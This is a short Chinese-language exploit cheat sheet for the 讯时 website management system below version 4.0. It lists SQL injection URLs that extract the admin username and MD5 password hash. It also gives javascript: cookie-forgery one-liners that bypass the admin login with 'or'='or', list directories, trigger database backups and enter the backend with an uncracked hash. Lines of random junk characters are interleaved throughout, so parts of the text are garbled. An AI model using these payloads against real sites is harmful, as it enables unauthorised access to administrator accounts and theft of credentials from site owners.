讯时网站管理系统4.0以下漏洞

admin

一、注入
4 I; ]6 U9 P+ |+ O1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
5 `% F. S$ J7 k$ z+ ?& q$ ]
: ~( a& Y! o$ V( U; `5 D: U2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
3 t$ v( w6 J% {; p第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
1 Z  t9 \  X' u) O可得到用户名和MD5加密码的密码。

二、cookies欺骗

1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
0 J( j3 a1 Q3 o9 w
7 v3 P" v* ^) s3 Q7 H9 y) l( M2、列目录.
, e7 c) T% d: N2 [" H- P' p; E& Njavascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
- `8 y+ t# r' c# l  _
# W7 S0 e5 M: O1 s, z* n1 B3、数据库备份(适用性好像比较低.)
/ ?" Q! H( |! a( gjavascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
5 I' [1 |' s6 B
: M, n( Y. V  S# z  G; ?4、得到MD5密码解不了密进后台方法
! n) f7 s  w7 n) U( d9 q9 h- Sjavascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
$ {( Z0 b0 K8 b1 G1 ^* K4 U